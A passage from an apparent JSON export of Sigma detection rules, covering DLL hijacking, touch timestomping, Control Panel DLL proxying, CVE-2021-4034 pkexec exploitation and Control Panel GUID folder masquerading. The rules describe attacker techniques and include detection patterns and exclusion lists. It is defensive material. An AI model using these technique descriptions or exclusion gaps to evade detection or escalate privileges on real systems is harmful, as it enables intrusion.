+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081481Z",
+  "creation_date": "2026-03-23T11:45:34.081483Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081488Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/0gtweet/status/1363107343018385410",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sfc.yml",
+  "content": "title: DLL Hijacking via sfc.exe\nid: 4c4121af-1fcf-4b14-b225-083b79f93554\ndescription: |\n    Detects potential Windows DLL Hijacking via sfc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/0gtweet/status/1363107343018385410\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sfc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\powrprof.dll'\n            - '\\ssshim.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4c4121af-1fcf-4b14-b225-083b79f93554",
+  "rule_name": "DLL Hijacking via sfc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sfc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4cc44598-022c-4ded-bcf1-b3c0b87f5f6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606677Z",
+  "creation_date": "2026-03-23T11:45:34.606680Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606688Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md",
+    "https://www.mandiant.com/resources/live-off-the-land-an-overview-of-unc1945",
+    "https://attack.mitre.org/techniques/T1070/006/"
+  ],
+  "name": "t1070_006_touch_timestomp_linux.yml",
+  "content": "title: File Timestamps Altered via touch (Linux)\nid: 4cc44598-022c-4ded-bcf1-b3c0b87f5f6d\ndescription: |\n    Detects the use of touch to alter the file's access and modification timestamps.\n    This is often used by attacker to allow malicious files to mimic legitimate ones within the same directory.\n    It is recommended to investigate the program that ran the touch utility and the files being timestomped to determine if this action was legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md\n    - https://www.mandiant.com/resources/live-off-the-land-an-overview-of-unc1945\n    - https://attack.mitre.org/techniques/T1070/006/\ndate: 2021/09/27\nmodified: 2025/10/21\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.006\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/touch'\n        ParentImage|contains: '?'\n        CommandLine|contains:\n            - ' -ac '\n            - ' -ca '\n            - ' -t '\n            - ' -ct '\n            - ' -d '\n            - ' -cd '\n            - ' --date'\n            - ' -r '\n            - ' -cr '\n            - '--reference'\n\n            # change only the access time using STAMP\n            - ' -at'\n            - ' -act'\n            - ' -cat'\n            # change only the modification time using STAMP\n            - ' -mt'\n            - ' -mct'\n            - ' -cmt'\n            # change access and modification times using STAMP\n            - ' -amt'\n            - ' -mat'\n            - ' -amct'\n            - ' -mact'\n            - ' -camt'\n            - ' -cmat'\n            - ' -mcat'\n            - ' -acmt'\n\n            # change only the access time using STRING\n            - ' -ad'\n            - ' -acd'\n            - ' -cad'\n            # change only the modification time using STRING\n            - ' -md'\n            - ' -mcd'\n            - ' -cmd'\n            # change access and modification times using STRING\n            - ' -amd'\n            - ' -mad'\n            - ' -amcd'\n            - ' -macd'\n            - ' -camd'\n            - ' -cmad'\n            - ' -mcad'\n            - ' -acmd'\n\n            # change only the acess time using reference file\n            - ' -ar'\n            - ' -acr'\n            - ' -car'\n            # change only the modification time using reference file\n            - ' -mr'\n            - ' -mcr'\n            - ' -cmr'\n            # change access and modification times using reference file\n            - ' -amr'\n            - ' -mar'\n            - ' -amcr'\n            - ' -macr'\n            - ' -camr'\n            - ' -cmar'\n            - ' -mcar'\n            - ' -acmr'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - 'touch -t ???????????? /var/opt/data/'\n            - 'touch -t ???????????? /var/opt/BESClient/'\n            - 'touch -t ???????????? /opt/application/'\n        ParentCommandLine|contains:\n            - '/sh /usr/libexec/pcp/bin/pmlogger_daily '\n            - '/sh /usr/libexec/pcp/bin/pmlogger_check '\n            - 'find . -exec touch -'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/usr/bin/containerd-shim|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/snap/docker/*/bin/containerd-shim-runc-v2|'\n            - '|/opt/BESClient/bin/BESClient'\n            - '|/usr/sbin/nrpe|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_dpkg_postinstall:\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n\n    exclusion_mkinitramfs:\n        CommandLine|contains: '/var/tmp/mkinitramfs'\n\n    exclusion_dracut:\n        ParentCommandLine: 'xargs -r -0 touch -h -m -c -r /usr/lib/dracut/dracut-functions.sh'\n\n    exclusion_apticron:\n        # touch -d 14:32 /var/lib/apticron/cron_run\n        CommandLine|contains: '/var/lib/apticron/cron_run'\n        ParentCommandLine: '/bin/bash -e /usr/sbin/apticron --cron'\n\n    exclusion_pmlogger:\n        # touch -t 202205032340 /tmp/pcp.o0BGeJtju/stamp\n        CommandLine|contains|all:\n            - ' /tmp/pcp.'\n            - '/stamp'\n        ParentCommandLine|startswith:\n            - '/bin/sh /usr/lib/pcp/bin/pmlogger_check -V'\n            - '/bin/sh /usr/libexec/pcp/bin/pmlogger'\n\n    exclusion_postfix_aliasesdb:\n        # touch -r /etc/aliases.db /var/lib/misc/postfix.aliasesdb-stamp\n        CommandLine: 'touch -r /etc/aliases.db /var/lib/misc/postfix.aliasesdb-stamp'\n        ParentCommandLine: '/bin/bash /usr/libexec/postfix/aliasesdb'\n\n    exclusion_golang:\n        CommandLine: 'touch -r /usr/lib/go-*/bin/go /usr/lib/go-*/pkg/linux_*'\n        ParentCommandLine: 'find /usr/lib/go-*/pkg -exec touch -r /usr/lib/go-*/bin/go {} ;'\n\n    exclusion_yocto:\n        - ParentImage|startswith:\n            - '/opt/yocto/yocto-sdk-zero/'\n            - '/opt/yocto/yocto-sdk/'\n        - CommandLine|startswith:\n            - 'touch -h --date=@* */comhub-poky-linux/'\n            - 'touch -h --date=@* /opt/yocto/yocto-sdk-'\n\n    exclusion_zabbix:\n        - ProcessParentImage:\n            - '/usr/bin/zabbix_server'\n            - '/usr/sbin/zabbix_server'\n            - '/usr/sbin/zabbix_agentd'\n        - ProcessGrandparentImage:\n            - '/usr/bin/zabbix_server'\n            - '/usr/sbin/zabbix_server'\n            - '/usr/sbin/zabbix_agentd'\n\n    exclusion_make:\n        - ParentImage: '/usr/bin/make'\n        - Ancestors|contains: '|/usr/bin/make|'\n\n    # https://github.com/DSI-Universite-Rennes2/get-partage-logs\n    exclusion_get_partage_logs:\n        # /bin/bash /usr/local/scripts/get-partage-logs.sh\n        # /bin/bash /usr/local/bin/get-partage-logs.sh\n        ParentCommandLine|endswith: '/get-partage-logs.sh'\n\n        # touch -t 202401172359.59 /tmp/get-partage-logs.ibsbr5/yesterday\n        # touch -t 202401172359.59 /tmp/get-partage-logs.apjkrz/yesterday\n        CommandLine: 'touch -t * /tmp/get-partage-logs.*/yesterday'\n\n    exclusion_envman:\n        CommandLine: 'touch -a /home/*/.config/envman/*.env'\n\n    exclusion_overgrive:\n        GrandparentCommandLine: 'python3 /opt/thefanclub/overgrive/overgrive'\n\n    # TODO: Ancestors on yay\n    exclusion_makepkg:\n        CommandLine: 'touch -d @* .mtree'\n\n        # bash -hB /usr/bin/makepkg -F -f --noconfirm --noextract --noprepare --holdver --ignorearch -c\n        # /bin/sh /usr/bin/fakeroot -- bash -hB /usr/bin/makepkg -F -f --noconfirm --noextract --noprepare --holdver --ignorearch -c\n        # /bin/sh /usr/bin/fakeroot -- bash -hB /usr/bin/makepkg -F -si\n        GrandparentCommandLine|contains: '/usr/bin/makepkg'\n\n    exclusion_nettoyage:\n        ParentCommandLine: '/bin/ksh /develop/dev_sh/nettoyage/vnettoyage.ksh -r'\n\n    exclusion_snap:\n        CommandLine: 'touch -r /snap/* /home/*/snap/*/.cache/desktop-runtime-date'\n        ParentCommandLine|startswith: '/bin/bash /snap/'\n\n    exclusion_kitty:\n        Ancestors|contains: '|/usr/bin/kitty|'\n        CommandLine|endswith: '/.config/envman/function.fish'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4cc44598-022c-4ded-bcf1-b3c0b87f5f6d",
+  "rule_name": "File Timestamps Altered via touch (Linux)",
+  "rule_description": "Detects the use of touch to alter the file's access and modification timestamps.\nThis is often used by attacker to allow malicious files to mimic legitimate ones within the same directory.\nIt is recommended to investigate the program that ran the touch utility and the files being timestomped to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-09-27",
+  "rule_modified_date": "2025-10-21",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4d498a18-ea66-4e96-8224-9ee8bdc07f47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072190Z",
+  "creation_date": "2026-03-23T11:45:34.072192Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072197Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.002/T1218.002.md",
+    "https://attack.mitre.org/techniques/T1218/002/"
+  ],
+  "name": "t1218_002_control_panel_dll_loaded.yml",
+  "content": "title: Suspicious Control Panel DLL Loaded\nid: 4d498a18-ea66-4e96-8224-9ee8bdc07f47\ndescription: |\n    Detects the loading of a suspicious DLL by the control.exe Windows Control Panel binary, which may indicate an attempt to proxy malicious DLL execution through the Windows Control Panel.\n    Control.exe is a legitimate Windows system binary that handles the execution of Control Panel items and applets. Rundll32.exe is a Windows utility that loads and executes functions from Dynamic Link Libraries (DLLs). Attackers can use control.exe to spawn rundll32.exe, effectively proxying the execution of malicious DLLs while appearing to originate from a trusted system component.\n    It is recommended to investigate the command-line arguments of the rundll32.exe process to identify the specific DLL being loaded, analyze it, and review any network connections or file system modifications made at the time of execution.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.002/T1218.002.md\n    - https://attack.mitre.org/techniques/T1218/002/\ndate: 2025/05/13\nmodified: 2025/09/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.LOLBin.Control\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_process:\n        - ProcessImage|endswith: '\\rundll32.exe'\n        - ProcessOriginalFileName: 'RUNDLL32.EXE'\n\n    selection_parent:\n        ProcessParentImage|endswith: '\\control.exe'\n\n    filter_common_directory:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\windows\\CCM\\'\n            - '?:\\Program Files\\'\n            - '?:\\program files (x86)\\'\n            - '?:\\Windows\\assembly\\NativeImages_'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Windows Phone'\n            - 'HarfangLab SAS'\n\n    exclusion_rundll32:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Windows\\System32\\\\*'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\shell32.dll,Control_RunDLL ?:\\Windows\\System32\\\\*'\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Windows\\WinSxS\\\\*'\n            - '?:\\windows\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Program Files\\\\*'\n            - '?:\\windows\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Program Files (x86)\\\\*'\n            - '?:\\windows\\system32\\rundll32.exe Shell32.dll,Control_RunDLL input.dll,,{C07337D3-DB2C-4D0B-9A93-B722A6C106E2}*'\n\n    exclusion_dicom:\n        ProcessCommandLine: '?:\\Windows\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Synapse\\DicomServerCpl.dll'\n\n    exclusion_sassafras:\n        ImageLoaded: '?:\\Windows\\katrk64.dll'\n        Signed: 'true'\n        Signature: 'Sassafras Software Inc.'\n\n    exclusion_symantec:\n        # C:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\14.3.10148.8000.105\\Data\\Sysfer\\x64\\sysfer.dll\n        OriginalFileName: 'sysfer.dll'\n        Signed: 'true'\n        Signature: 'Symantec Corporation'\n\n    exclusion_teamviewer:\n        # C:\\Users\\xxx\\AppData\\Local\\Temp\\TeamViewer\\tv_x64.dll\n        OriginalFileName: 'tv_x64.dll'\n        Signed: 'true'\n        Signature:\n            - 'TeamViewer GmbH'\n            - 'TeamViewer Germany GmbH'\n\n    exclusion_elo_control_panel:\n        OriginalFileName: 'EloControlPanel.cpl'\n        Signed: 'true'\n        Signature: 'Elo Touch Solutions'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4d498a18-ea66-4e96-8224-9ee8bdc07f47",
+  "rule_name": "Suspicious Control Panel DLL Loaded",
+  "rule_description": "Detects the loading of a suspicious DLL by the control.exe Windows Control Panel binary, which may indicate an attempt to proxy malicious DLL execution through the Windows Control Panel.\nControl.exe is a legitimate Windows system binary that handles the execution of Control Panel items and applets. Rundll32.exe is a Windows utility that loads and executes functions from Dynamic Link Libraries (DLLs). Attackers can use control.exe to spawn rundll32.exe, effectively proxying the execution of malicious DLLs while appearing to originate from a trusted system component.\nIt is recommended to investigate the command-line arguments of the rundll32.exe process to identify the specific DLL being loaded, analyze it, and review any network connections or file system modifications made at the time of execution.\n",
+  "rule_creation_date": "2025-05-13",
+  "rule_modified_date": "2025-09-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4d52ab05-80d6-4522-b240-24cad32c4a0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088445Z",
+  "creation_date": "2026-03-23T11:45:34.088447Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088451Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034",
+    "https://access.redhat.com/security/cve/CVE-2021-4034",
+    "https://ubuntu.com/security/CVE-2021-4034",
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034",
+    "https://github.com/berdav/CVE-2021-4034",
+    "https://attack.mitre.org/techniques/T1548/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "cve_2021_4034_polkit_pkexec.yml",
+  "content": "title: Polkit's pkexec CVE-2021-4034 Vulnerability Exploited\nid: 4d52ab05-80d6-4522-b240-24cad32c4a0b\ndescription: |\n    Detects a possible exploitation of CVE-2021-4034 in Polkit's pkexec.\n    CVE-2021-4034 is a vulnerability within the pkexec binary and can be used by an unprivileged user to obtain root access.\n    All major Linux distribution were affected and a proof-of-concept is available publicly.\n    It is recommended to investigate the child and parent processes for malicious actions.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034\n    - https://access.redhat.com/security/cve/CVE-2021-4034\n    - https://ubuntu.com/security/CVE-2021-4034\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034\n    - https://github.com/berdav/CVE-2021-4034\n    - https://attack.mitre.org/techniques/T1548/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/01/27\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548\n    - attack.t1068\n    - cve.2021-4034\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Exploit.CVE-2021-4034\n    - classification.Linux.Exploit.Pkexec\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/pkexec'\n        CommandLine: ''\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4d52ab05-80d6-4522-b240-24cad32c4a0b",
+  "rule_name": "Polkit's pkexec CVE-2021-4034 Vulnerability Exploited",
+  "rule_description": "Detects a possible exploitation of CVE-2021-4034 in Polkit's pkexec.\nCVE-2021-4034 is a vulnerability within the pkexec binary and can be used by an unprivileged user to obtain root access.\nAll major Linux distribution were affected and a proof-of-concept is available publicly.\nIt is recommended to investigate the child and parent processes for malicious actions.\n",
+  "rule_creation_date": "2022-01-27",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1548"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4d587e21-5699-48e7-8445-551ccb0a9d8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070710Z",
+  "creation_date": "2026-03-23T11:45:34.070714Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070721Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/win32/shell/control-panel-applications",
+    "https://securelist.com/miner-campaign-misuses-open-source-siem-agent/114022/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1036_control_panel_library_load.yml",
+  "content": "title: Library Loaded from a Folder Masquerading as a Control Panel Item\nid: 4d587e21-5699-48e7-8445-551ccb0a9d8b\ndescription: |\n    Detects a process loading a DLL from a folder whose name contains a well-known Control Panel GUID.\n    Adversaries may use Control Panel GUIDs to hide their payload as Explorer will open the Control Panel instead of browsing the folder.\n    It is recommended to check for malicious activity performed by the process loading the DLL or its parent processes.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/win32/shell/control-panel-applications\n    - https://securelist.com/miner-campaign-misuses-open-source-siem-agent/114022/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2024/10/23\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|contains:\n            - '.{0142e4d0-fb7a-11dc-ba4a-000ffe7ab428}\\'\n            - '.{025A5937-A6BE-4686-A844-36FE4BEC8B6D}\\'\n            - '.{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}\\'\n            - '.{087DA31B-0DD3-4537-8E23-64A18591F88B}\\'\n            - '.{0D2A3442-5181-4E3A-9BD4-83BD10AF3D76}\\'\n            - '.{0DF44EAA-FF21-4412-828E-260A8728E7F1}\\'\n            - '.{1206F5F1-0569-412C-8FEC-3204630DFB70}\\'\n            - '.{17cd9488-1228-4b2f-88ce-4298e93e0966}\\'\n            - '.{2227A280-3AEA-1069-A2DE-08002B30309D}\\'\n            - '.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}\\'\n            - '.{36eef7db-88ad-4e81-ad49-0e313f0c35f8}\\'\n            - '.{37efd44d-ef8d-41b1-940d-96973a50e9e0}\\'\n            - '.{3e7efb4c-faf1-453d-89eb-56026875ef90}\\'\n            - '.{4026492F-2F69-46B8-B9BF-5654FC07E423}\\'\n            - '.{40419485-C444-4567-851A-2DD7BFA1684D}\\'\n            - '.{5224F545-A443-4859-BA23-7B5A95BDC8EF}\\'\n            - '.{58E3C745-D971-4081-9034-86E34B30836A}\\'\n            - '.{5ea4f148-308c-46d7-98a9-49041b1dd468}\\'\n            - '.{60632754-c523-4b62-b45c-4172da012619}\\'\n            - '.{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\\'\n            - '.{67CA7650-96E6-4FDD-BB43-A8E774F73A57}\\'\n            - '.{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\\'\n            - '.{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\\'\n            - '.{725BE8F7-668E-4C7B-8F90-46BDB0936430}\\'\n            - '.{74246bfc-4c96-11d0-abef-0020af6b0b7a}\\'\n            - '.{78CB147A-98EA-4AA6-B0DF-C8681F69341C}\\'\n            - '.{78F3955E-3B90-4184-BD14-5397C15F1EFC}\\'\n            - '.{7A979262-40CE-46ff-AEEE-7884AC3B6136}\\'\n            - '.{7b81be6a-ce2b-4676-a29e-eb907a5126c5}\\'\n            - '.{80F3F1D5-FECA-45F3-BC32-752C152E456E}\\'\n            - '.{87D66A43-7B11-4A28-9811-C86EE395ACF7}\\'\n            - '.{8E0C279D-0BD1-43C3-9EBD-31C3DC5B8A77}\\'\n            - '.{8E908FC9-BECC-40f6-915B-F4CA0E70D03D}\\'\n            - '.{93412589-74D4-4E4E-AD0E-E0CB621440FD}\\'\n            - '.{96AE8D84-A250-4520-95A5-A47A7E3C548B}\\'\n            - '.{9C60DE1E-E5FC-40f4-A487-460851A8D915}\\'\n            - '.{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\\'\n            - '.{9FE63AFD-59CF-4419-9775-ABCC3849F861}\\'\n            - '.{A0275511-0E86-4ECA-97C2-ECD8F1221D08}\\'\n            - '.{A304259D-52B8-4526-8B1A-A1D6CECC8243}\\'\n            - '.{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\\'\n            - '.{A8A91A66-3A7D-4424-8D24-04E180695C7A}\\'\n            - '.{AB3BE6AA-7561-4838-AB77-ACF8427DF426}\\'\n            - 